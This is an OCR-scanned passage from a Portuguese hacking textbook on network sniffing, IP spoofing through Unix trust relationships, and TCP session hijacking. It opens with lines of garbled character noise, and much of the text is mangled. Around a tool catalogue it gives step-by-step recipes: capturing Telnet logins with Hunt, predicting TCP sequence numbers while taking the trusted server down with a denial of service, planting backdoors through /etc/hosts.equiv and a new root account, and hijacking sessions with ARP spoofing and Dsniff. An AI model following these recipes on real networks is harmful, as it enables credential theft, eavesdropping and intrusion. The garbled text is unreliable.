,,,"'", ",,,.",,ff,,", ,,~,,1i.., 6< '''''''',m(O"" ""',, ,h,,'"~,,,,,, ("n,U) ",,"".'.1."'''.1.1.05) """,,,,", b,""h'",.'~("o.","', V'''"~''''''''"ff'' "",,,1.,,, "ci, '"'" (, 5o"",,,,,,",",,",", '>1'''''00,,,,,_(60) ""'"" o"," ,,"'''s """"',d,,,,,o' ,..o", m'580121 ""',, ,.."h' "'"''
P ".. 0,00'" U'C<' Wiooo","" 3"6<
",""fi""",O,OO63
"""...,,,"" ",,,,..,,,
"_'d,>,,''''oo' ".TE",.'~.". "" MO ".01, " , h_, ,,,,,,,'..', "_'1,,,",,,,' ,wn:""''"~'" """,. jp'''. '00.""". ""d,. R;;:;;';i';hi:;'~RE::"I;i,1:';;;'''''-''''iim' '"'"''''''' ;'h","",h'",5h""'''''''-C~","it"'',""'h''I'ITlE' :;"'''''mm,' mor,'",o""oo' ""~.,,,o",W "'"'.''''",,",0' AU",-""'",""',
::o"i~i~) "H1:i':;';'~:'h1;p~1id-~;:~~H:~;tA):J::~;i, '11i:;::j,h,;i"",h''''"O'tl''''k>lO", "~'I"",,'" ><"OC,,"~'"o. """""'"0 ~"''""'''",... ,,,,,,,,,,,,,..,, "'",,,... """,-0> "'-"-"p'",'F-'''T"II"ho''3"''''~'.T""",,",,I,''<k/Th'',"",h10''""'''''",',I",",,.'"~,I'
o Ethereal pode, inclusive, decodificar e extrair informaes a partir de um determinado protocolo. No exemplo acima, uma pgina HTMLfoi decodificada de dentro de uma srie de pacotes TCP: ~ Sniff'em (www.sniff-em.com). um sniffer comercial para Windows. Faz sozinho tudo o que o Ethereal, o Ettercap, o Snort e o Dsniff fazem juntos, mas pago. Na opinio dos autores, no vale a pena pagar para ter algo que pode ser obtido gratuitamente com ferramentas menores, mas usurios de Windows gostam de ter tudo integrado num nico programa. Um dos diferencias do Sniff'em sua capacidade de monitorar interfaces no-usuais como sadas seriais, USB e modems RAS e RDSIIISDN. ~ Snort (www.snort.org) um detector de intrusos (IDS) que serve tambm como sniffer. muito conhecido por analisar de forma perfeita os logs do Squid. Tem a seu favor, alm de sua coleo de truques, uma vasta lista de plataformas na qual roda, incluindo a Linux, Solaris, *BSD,HP-UX,IRIX, MacOS X, AIX e Windows. ~ Sniffit (reptile.rug.ac.be/-coder/sniffit/sniffit.html) trabalha exclusivamente em Unix, mas venerado pela comunidade por suas capacidades de sniffing quase esotricas. Possui dois modos de operao. O tradicional (sniff mode) faz o que qualquer sniffer faz: grava todo o trfego da rede. Um segundo modo, chamado de interativo, permite que o hacker veja o que est trafegando na rede em tempo real. possvel escolher apenas um protocolo para monitorar, e existem ftltros que escondem toda a complexidade inerente dos protocolos, mostrando apenas os dados teis. Com o sniffit, possvel inclusive ver o que a vtima est digitando em um programa de mensagens instantneas como o MSN Messenger ou o ICQ - tudo isso em tempo real!
1279 I
Invaso
I Universidade
H4CK3R I
~ Hafiye (www.enderunix.org/hafiye) um sniffer baseado em knowledge-base. Possui um banco de dados com padres dos mais diversos protocolos de comunicao e criptografia e capaz de separar os dados teis de dentro de um pacote. ~ Kismet (www.kismetwire1ess.net) um farejador de redes wire1ess (802.11) nos moldes do IPTraf e tcpdump.Alm de ser capaz de decodificar os protocolos pertinentes, consegue dividir as redes por rea e por clula de rdio. Desenvolvido especialmente para Linux, suporta nativamente o PDAZaurus, da Sharp, com placa de rede wireless. Uma boa pedida para War Driving. ~ USB Snoop (sourceforge.net/pro;ects/usbsnoop) monitora e grava todo o trfego entre o driver do dispositivo USB e o prprio dispositivo. til para engenharia reversa de drivers (para, por exemplo, produzir um driver Open Source), mas tambm pode ser usado para monitorar o trfego de modems USB.Uma rede criptografada e superprotegida pode ser "descadeirada" se um laptop for ligado a um computador de mesa ligado a ela pelo USB. ~ APS- AdvancedPacket Sniffer(wwws-wrtec.de/clinux) outro exemplo de programa minsculo que pode ser usado para farejar pacotes. Como extremamente dependente do kemel, funciona apenas em linux, mas sua interface simples e intuitiva em modo texto permite sua operao remota sem sobrecarregar a conexo. ~ Hunt (lin.fsid.cvut.cz/-kra/index.html) no apenas um sniffer, mas uma ferramenta completa de explorao de falhas na pilha TCP/lp. Suporta tudo o que um sniffer deve ser capaz de oferecer: vigiar diversos tipos de protocolos (ICMp,TCp, ARP), montar mensagens fragmentadas a partir de pacotes TCP seqenciais, detectar ACK Storms, seqestrar sesses (hijacking) e "aprender" os MACs da rede, entre muitos outros truques. Por ser muito didtico, o preferido dos professores de cursos de redes e segurana - foi, inclusive, desenvolvido por um professor de matemtica da Universidade de Praga, Pavel Krauz. Com o Hunt, podemos facilmente colocar-nos como man in the midd1e numa conexo, registrar tudo o que estiver sendo transmitido, manipular os dados e at mesmo termin-Ia (reset). ~ ettercap (ettercap. sourceforge.net) um excelente sniffer ativo, ou seja, especial para ser usado em redes com switches. Suporta MAC Flood e ARP SpOOflllge extremamente fcil de usar. Como funciona em modo texto, fica facilmente operacional em qualquer mquina Unix e extremamente pequeno. Atacar com o 280
I
Invaso [
Universidade 3ano
ettercap brincadeira de criana: primeiro, escolhe-se a dupla de mquinas que se quer monitorar as comunicaes. Escolhe-se, entre as conexes TCP ou UDP estabelecidas (pode haver mais de uma), qual a que se quer monitorar. Depois disso, a tela mostra os dados que trafegam entre as duas mquinas. Pode-se grav-Ios, examin-Ios em modo ASCII ou hexadecimal ou injetar caracteres na trasmisso (e assim manipular a conexo). H plugins e novos mtodos de sniffing com nomes sugestivos, como Port Stealing, Hunt, Confusion... As possibilidades- so enormes! ~ Angst (angst.sourceforge.net), desenvolvido e testado para o OpenBSD, uma ferramenta que tem a seu favor a robustez e o tamanho diminuto - alm de fazer sniffing ativo. Possui menos recursos que seus primos mais ilustres como o ettercap e o dsniff, mas pequeno o bastante para passar despercebido em uma mquina invadida. Funciona tambm com FreeBSD e Slackware Linux, outras plataformas Unix requerem recompilao e testes. ~ Dsniff (www.monkey.org/-dugsong/dsniff) , na atualidade, o mais respeitado sniffer ativo para redes comutadas. Foi testado pelos autores em OpenBSD e Linux em PCs e Solaris em mquinas SunSPARC,mas j foi testado em praticamente todos os sabores Unix conhecidos, entre eles AlX, FreeBSD, HP-UX e at Mac OS X (blafasel.org/-floh/ports/dsniff-2.3.osx.tgz). H ainda uma verso (desatualizada mas funcional) para Windows, disponvel em www.datanerds.net/- mike/ dsniff.html. Apesar dos sniffers mais simples serem mais fceis de "plantar" e usar, h outros, mais elaborados, que so verdadeiras obras-de-artedo mal. O tcpdump sozinho em uma mquina Unix j poderia fazer muito estrago, e tem a vantagem de j estar instalado. Por outro lado, mquinas Wm9x permitem que um invasor "esnife"a rede (usando, por exemplo, o Wmdump ou o Ethereal) sem invadir mquinas muito complicadas ou seguras. Como qualquer usurio de Wm9x tem controle total sobre a mquina, possvel rodar um sniffer nela sem precisar quebrar nenhuma senha de administrador.A insegurana inerente a essa arquitetura auxilia o inimigo. Qualquer servidor ou estao, sejam eles Unices, Macintoshes, Netwares ou Wmdows NT/2kj XP, pode ser um perigo se mal configurados.Entretanto, redes com estaes Wmdows 95/98/Me nunca sero seguras, qualquer que seja o esforo dispendido nelas. Para mais opes, procure por "sniff" no Fresmeat (www.freshmeat.net) ou no Goog1e (www.goog1e.com). O download.com tambm possui diversas opes para Windows, e os CDs do livro tambm trazem mais alguns deles. Uma ltima dica sobre sniffers (e outras ferramentas): pedram.redhive.com. 1281
1
Invaso
I Universidade
H4CK3R I
Farejando na prtica
Nada como uma sesso de sniffmg para fIxar os conceitos aprendidos. Poderamos exemplificar esse procedimento com um sniffer grfico como o Ethereal, que possui uma verso para Windows e uma bela interface de comando. O Ethereal ainda separa e interpreta os protocolos para voc, de modo a fazer o mximo possvel do "trabalho sujo" e deixar ao administrador de rede apenas com as informaes teis, "mastigadas". Mas lembre-se: se voc est explorando uma rede remota, possivelmente vai deixar seu sniffer rodando sozinho para depois recuperar o arquivo contendo o trfego. A interface grfica, os "frufrus" e a inteligncia do Ethereal de nada adiantaro nesse ambiente. Antes de comear nosso estudo, dois lembretes. Em primeiro lugar, observe que sua conexo domstica Internet provavelmente se d por um protocolo de camada 2 chamado de PPP ou Point-to-PointProtocol. Como o nome j diz, um protocolo ponto a ponto: sua rede local possui apenas duas intetfaces, a de sua mquina e a do modem do provedor de acesso.Justamente devido ao PPp,voc no poder farejar o trfego na subrede de Internet qual voc est (aparentemente) conectado. Em uma ligao empresarial - normalmente por linha privada usando Frame Re1ayou X.25 e no PPP - possvel (embora no muito provvel devido a ftrewalls e roteadores) que a subrede da Internet determinada para a empresa possa ser farejada. De qualquer forma, um sniffer til apenas em estruturas de conectividade internas, onde h verdadeiramente vrias mquinas trafegando informaes na mesma rede local. O outro lembrete no menos importante. Existem trs condies bsicas para se poder "esnifar" a rede: 1. Existir uma rede com pelo menos 3 mquinas (as duas que se quer monitorar mais a sua, que monitorar as outras duas). 2. Possuir acesso de superusurio (root para Unix e Mac OS X ou Administrador para WinNT/2k!XP - mquinas com Win9x no precisam de nada disso...) na mquina que fIcar em modo promscuo e farejar a rede. 3. Possuir autorizao para fazer a monitorao e alertar os usurios da rede para tal. No condio impeditiva para iniciar o sniffIng, mas tico. Todos tm direito, garantido por lei, privacidade. Se sua empresa possui uma poltica de monitorao de trfego, esta deve ser informada aos funcionrios. Isso posto, vamos ao que interessa. Em nosso primeiro estudo, usaremos o Hunt. O programa possui uma interface com o usurio em modo texto que, apesar de singela, muito funcional. No vamos entrar em detalhes sobre a instalao do programa - h intrues para isso na documentao que o acompanha. Em nossa rede de testes (Laboratrio de Redes 11),instale o Hunt na mquina Unix. Ela ser nossa mquina "haxor". Vamos monitorar uma conexo entre a mquina Windows e a mquina "coitada". Para que possamos acompanhar melhor a conexo, vamos abrir uma sesso de Telnet, que um protocolo interativo
e que funciona em texto simples - perfeita para ser monitorada plicidade e baixa velocidade. Observe: pela sua sim-
12821
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Unix
Hunt
Coitada Telnetd
Windows
Telnet
192.168.1.3
Na Coitada (192.168.1.2) estamos rodando run servidor de Telnet (no esquea de ativ-Io!).Na mquina Unix, execute o Hunt. Ser mostrada runa tela como esta:
/* *
*
*
hunt 1. 5 mu1tipurpose connection intruder / sniffer for Linux (c) 1998-2000 by kra
*/ starting hunt - Main Menu - rcvpkt O, free/a11oc 63/64 --l/w/r) 1ist/watch/reset connections u) host up tests a) arp/simp1e hijack (avoids ack storm if arp used) s) simp1e hijack d) daemons rst/arp/sniff/mac o) options x) exit
->
o smbolo -> O prompt do Hunt. Observe o menu. H rotinas para listar, observar e derrubar conexes, verificar servidores online, faze hijacking etc. Temos que configurar o Hunt para que passe a escutar nossa rede. Observe: as opes l/w/r, respectivamente, listam todas as conexes ativas, vigiam uma delas e interrompem-na (reset). Para que funcionem, necessrio que haja alguma conexo ativa. Escolha a opo "o" (options) e pressione a tecla Enter. Um novo menu ser apresentado:;
-> o - options - rcvpkt 723, free/a11oc 63/64 --1) 1ist add conn po1icy a/m/d) add/mod/de1 conn po1icy entry c) conn 1ist properties mac n, seq n g) suggest mac base EA:1A:DE:AD:BE:00 h) host reso1ving n t) arp req spoof through req
y
1283 I
Invaso
Universidade H4CK3R
r) reset ACK storm timeout s) simple hijack cmd timeout q) arp req/rep packets p) number of lines per page i) print cntrl chars x) return -opt> So
4s 2s 2 O y
w) y) e) v)
switched environment arp spoof with my mac learn MAC from IP traffic verbose
y n n n
inmeras
a maneira
quais conexes
queremos
monitorar. Vamos
adicionar uma
eu colocasse 192.168.1.1/32, eu monitoraria os pacotes originados nessa mquina. Se eu colocasse, por outro lado, 192.168.1.0/24, o Hunt cotes de todas as mquinas 192.168.1.254. Num caso extremo, farejaria os paque dizer
De maneira similar, preencha o endereo de destino. A prxima pergunta (insert at) simplesmente para defInir em que posio da lista nossa regra aparecer. A opo "1"lista as regras de conexo existentes. Em nosso caso, teramos:
-opt> 1
O) 0.0.0.010 [alI]
1) 192.168.1.1/32 [alI] -opes do menu-*opt>
<->
O. O . O . O 1 O
[23
513]
<-> 192.168.1.'2/32
[alI]
Observe que temos um asterisco no prompt. O Hunt est nos indicando que as mquinas esto "vivas" na rede. Para sair do modo opes, usa a opo "x". De volta tela inicial, temos a opo de listar ("1") as conexes ativas~ Experimente e veja: no h nenhuma conexo no momento. Vamos criar uma ento.
:841
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
Na estao Windows (192.168.1.1) vamos fazer uma conexo de Telnet para a "Coitada". Abra uma janela do DOS e digite telnet 192.168.1.2. Se tudo estiver certo, vai aparecer a tela de login da mquina "Coitada" na janela de Telnet da mquina Windows. Na mquina Unix, volte ao Hunt e escolha a opo "I" novamente. Mgica: apareceu a conexo entre 192.168.1.1 e 192.168.1.2.A porta de origem alta (como deveria ser, leia o captulo Redes 11e a RFCI700), e a de destino a 23 - a porta do servio Telnet. Vamos, ento, pedir ao Hunt que mostre o trfego para ns. Escolha a opo "w" (watch), escolha qual conexo quer monitorar e, em seguida, a opo "b" (both). Volte mquina Windows e d seu login e senha. Se voc observar no Hunt, essas informaes sero mostradas l. Caso o login seja bem sucedido, o promp do shell Unix aparecer no Telnet da mquina Windows - e tambm na tela do Hunt, que est numa mquina que nem participou da transao! Faa vrias experincias: liste diretrios, edite textos com seu editor favorito ou chame algum programa - todas essas atividades sero monitoradas pelo Hunt. Para o Hunt, esse o bsico. Por sua simplicidade, acaba ficando limitado em possibilidades, mas muito til na maioria dos casos. bvio que h muito mais a explorar sobre o programa, mas deixo isso como dever de casa. Brinque com o Hunt por alguns dias, fareje sua rede, leia toda a documentao e procure por mais recursos na Internet. Depois, tente tambm brincar com o Snort, o Sniffit, o Ethereal e o IPTraf, tanto em Unix como em Windows. Use tambm algumas das ferramentas simples disponveis nos CDs. Parar uma semana ou duas para tal seria o desejvel, e s depois disso prossiga a leitura. Valer a pena - e ser divertido!
Quando a caa v
o Hunt um timo (e didtico...)
sniffer, mas tem um problema insolvel
para os modelos clssicos de sniffers: no ustrapassa sniffers ou switches. Para as redes comutadas, necessrio utilizar sniffers apropriados, que faam ARP Spoofmg ou, pelo menos, MAC Flood. Dois sniffers o fazem de forma magistral: Ettercap e Dsniff. J falamos sobre ARP Spoofmg e MAC Flood h algumas pginas. Estude a documentao e experimente ambos os programas. Adicionalmente, sugerin}os que o leitor procure mais informaes sobre os seguintes mtodos de sniffmg: ~ SSL Spoofmg (falseando ou manipulando certificados digitais); ~ DNS Spoofing (desviando o trfego Web para servidores falsos); ~ Snarfmg (uma maneira de "pentear" os pacotes TCP/UDP para extrair deles apenas a informao que mostrada na tela da vtima: e-mail, mensagens instantneas, pginas da web...).
1285 I
] Ataque,defesa e contra-ataque: Invaso
I Universidade
H4CK3R I
Observe: existe uma mquina servidora (vamos cham-Ia de "S") que possui relao de confiana com outras mquinas (vamos cham-Ias "TI", "T2", "T3" etc.). Se o usurio logar-se na mquina S, automaticamente ter acesso a recursos das mquinas "T". Enquanto essa facilidade "quebra um galho" para administradores de rede e permite que usurios loguem-se em apenas um sistema para ter acesso a vrios, se um hacker conseguir fazer-se passar pela mquina que tem a confiana poder ter acesso a todas as outras, que "confiam" nela. Tanto sistemas Unix quanto Windows (e tambm Novell...) possuem facilida. des parecidas. O Windows 2000 possui um recurso chamado Advanced Directory Service (ou ADS), que detm o cadastro de todos os usurios e mquinas da rede e as relaes entre eles. O usurio, ao logar-se em um domnio Windows, tem seu nome e senha comparados com os do ADS e, caso aceitos, todos os servios so disponibilizados. A Novell possui um produto chamado eDirectory (www.novell.com/pt-br/ products/edirectory) baseado em um ncleo, o Novell Directory Service ou NDS. O software opera da mesma forma que o ADS da Microsoft, com um diferencial: no est restrito aos produtos Novell. Na realidade possvel, atravs do eDirectory, criar conexes para todos os tipos de plataformas de software
7. '~penas diga que j teve o bastante / Hehe, eu pegei voc / Em quem, em quem, em quem voc pode confiar?"JoanJett, Who can you trust. Do album "Cherry Bomb, de 1995.
12861
Ataque, defesa e contra-ataque: Invaso [
Universidade 3ano
e hardware imaginveis, incluindo a Unices, Windows e mesmo sistemas de grande porte. Tanto o eDirecory quanto o ADS baseiam-se num padro chamado Lightwheight Directory, Access Protocol ou LDAP. H verses do LDAP disponveis para diversos sabores de Unix. Uma das mais famosas o OpenLDAP (www.openldap.org). verso livre, gratuita e de cdigo aberto. O LDAP uma forma segura de prover, para aplicaes Unix (e tambm Windows e Macintosh...), o chamado sing1e-sign-on(ou log-se apenas uma vez) e ter acesso a vrios recursos disponveis em pontos distantes da rede. Mas os sistemas Unix possuem dois antepassados desses servios: o NIS (Network Information Service) e o famigerado Unix Trust. Por sua idade, ambos so extremamente inseguros e facilmente hackeveis. Falaremos do NIS mais para frente, j que sua falha no se trata de IP Spoofmg. O Unix possui uma srie de comandos, todos iniciando em "r" (de remote) que permitem que diversos sistemas possam ser operados sem que seja preciso autenticar-se em cada um deles. Imagine, por exemplo, que o usurio est logado na mquina A.A mquina B confia em A, portanto permitir que os comandos "r" sejam executados nela tambm. Por exemplo, se o usurio da mquina A emitir o comando rlogin IP.DE.B,ser presenteado com um shell da mquina B sem que seja necessrio fornecer usurio ou senha. B confia em A, ento B confia nos usurios de A... Da mesma forma, h os comandos rsh (remote shell - permite a execuo de apenas um comando), rcp (remote copy), rmail (l e-mails no outro sistema) entre outros. Para que seja permitida a execuo dos comandos, necessrio que o IP de A esteja contido no arquivo /etc!hosts.equiv de B.Todas as mquinas cujo IP esto em /etc!hosts.equiv de B so de confiana para B.Alm desse arquivo, cada usurio de B pode ter, em seu prprio !home, uma lista de mquinas nas quais confia, guardada no arquivo .rhosts.
Confiana
No exemplo acima, todas as mquinas "S"e "T" so Unix.As estaes podem ser qualquer coisa. Em cada uma das mquinas "T" mostradas, h um arquivo, o /etc!hosts.equiv, contendo o IP de "S".Assim, todos os usurios que se logarem em "S"podero ter acesso aos recursos das mquinas "T". possvel crial shell scripts com os r-comandos, por exemplo, para automatizar o processo e facilitar a vida desses usurios.
12871
1
Invaso
I Universidade
H4CK3R I
Mas o que acontece quando usamos os r-comandos? O usurio est logado em "s" e, por meio de um comando rlogin, conseguiu um shell de "T3" sem que fossem solicitados um usurio e uma senha vlidos em "T3". Ocorre que, na prtica, o usurio est logado em "T3", e todas as suas aes sero originadas de "T3" (e no de "s" ou de "H", sua estao de trabalho...). Se o invasor usar algum scanner contra o site de uma empresa, ou tentar conectar-se por bruteforce a um servio na Internet, ser o IP de "T3" que ser registrado, no o de "s" e muito menos o de "H". Agora que a mgica acontece. Se formos usurios j cadastrados em "S",no h problema. Basta logarmos em "S",dar um rlogin para T3 e us-lo.Mas e se no formos? E mesmo se formos, seremos registrados nos logs de "S",ento o que fazer? possvel "envenenar" uma relao de confiana entre duas mquinas usando spoofmg, um pouco de sniffing e uma pitada de negao de servio. Imagine uma rede corporativa onde h uma mquina chamada SERVLOGIN, na qual os usurios sero autenticados, e outras, cada uma com um nome alusivo ao recurso que ela disponibiliza (por exemplo, IMPRESSORA, FISCAL,INTRANET, VAX, FINANCEIRO, entre outros...). Todas essas mquinas usam o jetcj hosts.equiv para "confiar" no julgamento de SERVLOGINno tocante a quais usurios tm permisso para acessar seus recursos. Imagine tambm que, em algum lugar ignorado na Internet, h uma mquina "H" que deseja conectar-se a algum computador interno.
Para realizar a tarefa a contento, temos que partir de algumas premissas: ~ Em primeiro lugar, temos que ter em mente que "H" no est na mesma LAN que SERVLOGINou qualquer uma das outras mquinas. Pelo contrrio, est l - beeeem longe - na nuvem da Internet. Por isso mesmo, impossvel "esnifar" o que ocorre na LAN. ~ De alguma maneira j descobrimos que SERVLOGIN considerado "confivel" pelos outros servidores. Descobrimos isso porque invadimos IMPRESSORA, por exemplo, ou o prprio SERVLOGIN, e consultamos os arquivos .rhosts ou jetc!hosts.equiv ou mesmo os logs do sistema, procura de sinais de conexo por Unix Trust.
12881
Ataque, defesa e contra-ataque: Invaso
Universidade 3ano
~ Nosso objetivo , ento, traado: queremos que uma das mquinas (por exemplo, INTRANET)"pense" que "H" , na realidade, SERVLOGIN.Com isso, teremos um shell em INTRANET,com um IP disposio para usarmos vontade em nossas maldades por a... Vamos dar uma "receitinha de bolo" para esse ataque. a melhor maneira de explicar a teoria de cada um dos passos necessrios. Para maior clareza no texto, chamaremos cada um dos computadores apenas por seus nomes (Le. "H" em vez de "a mquina H" ou "s" em vez de "o servidor S"). 1. "H" inicia vrias - na verdade, milhares de - conexes reais, sem impostura (ou seja, sem spoofmg), para INTRANET."H" envia vrios pacotes SYN e espera pelos ACKs de INTRANET.Baseado nesses ACKs, "H" pode inferir (ou antes, adivinhar) a progresso de nmeros seqenciais TCP gerados por INTRANET.Com isso, "H" pode ter uma idia dos nmeros a usar mais pata frente, quando estiver conectando ao sistema INTRANET. 2. Depois disso (ou simultaneamente, caso o invasor possua outra mquina) lana-se um ataque de negao de servio contra SERVLOGIN. Com SERVLOGINfora da jogada, impedimos que o mesmo envie um pacote TCP RST e derrube nossa conexo "spoofada". 3. Usando um dos r-comandos, "H" inicia uma conexo a INTRANETusando o IP de SERVLOGIN. A INTRANET responde com um ACK para SERVLOGIN, que est fora de combate devido negao de servio. 4. Agora,a mgica:"H"envia umACK para INfRANET,com o IP de SERVLOGIN
e uma estimativa do nmero seqencial TCP
da no passo 1 mais o tempo que o processo todo levou at chegar aqui. 5. Caso tenha acertado na mosca (o hacker possui apenas um tiro...) a comunicao estabelecida e mantida enquanto SERVLOGINestiver fora do ar. Se tiver errado, o invasor pode repetir a receitinha at acertar. Algunssistemas so idiotamente fceis de prever a seqncia Tcp, outros nem tanto, e h uns poucos onde essa seqncia (?) quase aleatria (?!?!??). A predictabilidade
dela dir se o sistema facilmente hackevel por esse mtodo - ou no.
Lembra daquelas velhas cantigas do tipo "Joo amava Maria que amava Pedro..."? Pois .No passo 3,"H"iniciouuma conexo com INTRANEffingindo ser SERVLOGIN. Para iniciar essa conexo, usou um r-comando (por exemplo, um rlogin). Se o hacker acertou a seqencia TCp, foi presenteado com um shell de INTRANET.S que INTRANET"pensa" que quem iniciou a comunicao SERVLOGIN, e manda as respostas para essa mquina. Resultado:"H" pode emitir comandos, mas no tem a mnima idia se esto fimcionando ou no - no h feedback na tela. Enquanto isso pode parecer suficiente para um estrago qualquer (assim como nas vulnerabilidades discutidas anteriormente, como o estouro de pilha ou os CGIs "amigos"), o hacker pode usar esse shell (e tambm o do estouro de pilha, bem como o dos CGIs...) para configurar rapidamente um backdoor em INTRANET. No se esquea que SERVLOGINest tinto com a negao de servio, mas recobrar os sentidos a qualquer momento e cortar a comunicao
12891
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
(com um TCP RST) entre INTRANETe "H". Entre as coisas que o invasor pode fazer na mquina INTRANET esto: ~ Colocar o IP de "H" no /etc!hosts.equiv; ~ Criar um usurio com direitos de root no /etc/passwd; ~ Implantar qualquer tipo de backdoor. H mais opes alm dessas. A partir dessas alteraes, o hacker pode instalar vrios backdoors, incluir mais mquinas no hosts.equiv (ou mesmo o smbolo + +, que faz com que INTRANET confie em qualquer um...) e criar outras contas no sistema. claro que administradores atentos logo notaro tais mudanas, por isso bom usar essa mquina para rapidamente "Ownar" outras. No esquea ainda que, por mais engenhoso que o procedimento seja, ferramentas de IDS e auditoria de arquivos logo descobriro a faanha. Como tarefa para casa, sugerimos ao leitor que procure documentao na Internet sobre os seguintes tipos de Spoormg: ~ DNS Spoofing ~ Source Routing ~ Proxy Spoofing ~ Daisy-chain Spoormg
Universidade 3ano
Observe que A, B e H no precisam estar na mesma LAN.H pode estar, com efeito, na LAN de A, na de B ou em qualquer subrede intermediria. A malha de roteadores mostrada poderia ser substituda por uma "nuvem" representando a rede como um todo - poderia mesmo ser a Internet. O importante notar que H tem de estar em algum ponto pelo qual estejam passando os pacotes entre A e B. A conexo entre A e B poderia ser qualquer coisa, como uma chamada HTfP ou correio eletrnico sendo transmitido via SMTP.Capturando uma sesso de conversao por ICQ, por exemplo, podemos continuar conversando com B enquanto ele pensa que somos A. Capturando uma sesso de FTp, 5MB (redes Microsoft) ou Telnet entre o usurio A e o servidor B, por exemplo, podemos navegar pelos servidores sem precisar fazer login - A j o fez anteriormente, e B agora pensa que somos A.Acendeu uma "luzinha" a? Pois , h outras maneiras de conseguir acesso a sistemas alm do brote force e buffer overflow... Realmente, por mais que os mecanismos de autenticao sejam seguros (senhas de mo nica, criptografia, assinaturas digitais, etc.), pode-se capturar uma comunicao qualquer DEPOISque a autenticao foi feita e, assim,pular essa parte chata.As produtoras de software normalmente gastam milhes em desenvolvimento de esquemas seguros de autenticao e esquecem-se do que, uma vez feita, o sistema ir SEMPRE acreditar que o usurio o mesmo - e, como vimos, nem sempre ... Outra caracterstica de uma sesso de hijacking que no preciso estimar ou adivinhar a progresso e a preditabilidade dos nmeros seqenciais TCP.O atacante, estando no meio do caminho entre as duas estaes, tem acesso progresso real dos nmeros seqenciais TCP e pode, portanto, control-Ios quando estiver fazendo se passar por outrem. Em nosso exemplo, H est cuidadosamente registrando toda a comunicao entre A e B, incluindo a as seqncias TCP. Na prtica, os passos a serem seguidos so: 1. H deve observar - com tcnicas de sniffmg - a comunicao entre A e B por um tempo razovel, para determinar o tipo de conexo, o protocolo em uso (HTTP,SSH,FTp'Telnet, MSN,ICQ...) e a seqncia TCP nos dois sentidos. Tudo isso deve ser registrado em um arquivo e analisado. Quando a conexo estiver bem "escarafunchada", decide-se que interessante seqestr-Ia e determina-se os meios para tal, a podemos iniciar a captura. 2. H comea ento - com tcnicas de spoofmg - a "enganar" B, fazendo-o pensar que H A.A forma mais usual H simplesmente criar trfego entre ele
1291
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
e B, gerando pacotes cujo endereo IP de origem seja o de A. B pensar que os pacotes vm de A. 3. Uma vez que B aceita comandos de H pensando serem de A, pode-se controlar B a partir de H. Se for uma sesso de Telnet ou de SSH,H pode operar o computador B por comandos shell. Se for uma sesso FTp' H pode baixar arquivos de B que estejam liberados para A - e bloqueados para usurios de FTP annimo. Se for uma conversao MSN, H pode continuar a conversa com B fmgindo ser A. Olhando "por cima", parece que funciona. Mas h um problema: A ainda est viva e B devolve a ela pacotes TCP com o bit ACK ligado cada vez que H injeta trfego na linha. A tentar ressincronizar a conexo e responder a B na mesma medida. Alm desses ACKs esprios gerados pelos pacotes injetados por H na conexo, h ainda os pacotes normais da conexo entre A e B. Isso causar o que chamamos de tempestade ACK ou ACK storm. Quando descrevemos, pginas atrs, um spoofing baseado em Unix Trusts, retiramos do ar a mquina SERVLOGIN (aquela pela qual queramos nos fazer passar) por meio de um ataque do tipo Negao de Servio. Naquela ocasio, o fizemos para evitar que SERVLOGINderrubasse a conexo (que afmal no fora gerada por ela) com um pacote TCP RST.O caso aqui ligeiramente diferente: A realmente iniciou a conexo entre ela e B. O trfego injetado por H aproveita-se disso e a tempestade de ACKs um efeito colateral indesejado, em vez de ser um procedimento normal do protocolo TCp' como no caso do RST. Apesar de ser efetivo naquele caso especfico - no precisvamos de SERVLOGIN no decorrer da ao -, usar Denial of Service nem sempre desejvel: ~A mquina fora do ar pode voltar a qualquer momento. No h previso de
quando, e certamente o tempo que ficar desabilitada ser muito pequeno
-o
suficiente para um ou dois comandos. ~ Se o computador que sofreu o DoS for atendido por algum, ou seja, houver usurios conectados nele - por exemplo, uma estao de trabalho -, o ataque ser facilmente detectado. ~ Em alguns casos, necessrio que o computador pelo qual queremos nos
fazer passar fique "vivo"
ou precisamos que o usurio acredite que ainda est conectado. ~ Era imperativo tirar a mquina do ar devido aos TCP RST,que cancelam a 2921
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
conexo correspondente. Aqui no h RST pois o originador da conexo foi realmente - A e no H. A passa a ser necessrio e no indesejado. ~ Negao de Servio algo deselegante - e voc vaidoso, no ? A resposta est em algumas pginas um pouco mais para trs. Quando fizemos sniffmg ativo, usamos a tcnica de ARP Spoofmg para confundir o switch e as prprias estaes, colocando nossa mquina no meio da conexo. Para tal, usamos o programa Hunt em uma configurao man-in-the- middle. Bem, podemos usar a mesma idia para evitar o ACK Storm. Com o trfego passando todo pela mquina que est escutando a rede, podemos controlar a propagao desses ACKs esprios. Nessa configurao, fica claro que, como no h problema de tempestade de ACKs,podemos emitir comandos para a mquina destino (B, em nosso exemplo). Obviamente, quando a conexo entre H e B for encerrada, a diferena entre os TCP sequence numbers que A envia e que B espera to grande que a sincronizao entre A e B impossvel - e a conexo entre eles tambm cai. Programas de Hijack modernos (como o Hunt e o Dsniff) possuem, entretanto, ferramentas para ressincronizar as conexes, assim uma desconexo gratuita no ir causar desconfianas.
Selecionando
seus combatentes
claro que h a possibilidade de se fazer tudo isso manualmente. Entretanto, a maneira mais fcil usar ferramentas especialmente construdas para tal. Uma delas o Hunt, visto na sesso sobre sniffmg. O Hunt possui duas opes interessantes: simple hijacke arp/simple hijack. No menu opes, ele oferece algumas possibilidades tambm muito interessantes, como arp spoof with my mac (lembram-se do ARP Spoofmg?), learn MAC from IP traffic e switched environment (ferramentas para enganar bridges e switches). O Dsniff, outra sute de sniffing comentada anteriormente, tambm possui ferramentas para captura de sesses. Alm do prprio programa Dsniff (especializado em sniffing), a sute possui as seguintes ferramentas: Ferramentas de sniffing includas na sute Dsniff: ~ fllesnarf: copia na mquina do hacker os arquivos trafegando em uma conexo NFS (Network File System) entre dois outros computadores. ~ mailsnarf: reproduz na mquina invasora mensagens de e-mail sendo transmitidas por POP ou SMTP.Com modificaes no cdigo do programa, possveller tambm mensagens IMAP e UUCP.As mensagens so armazenadas em formato mailbox - legvel por praticamente todos os programas de email existentes. ~ msgsnarf: registra toda a conversao entre duas pessoas que estejam usando os servios de mensagem instantnea AOL Instant Messenger, ICQ 2000, IRC, MSN e Yahoo.
1293 I
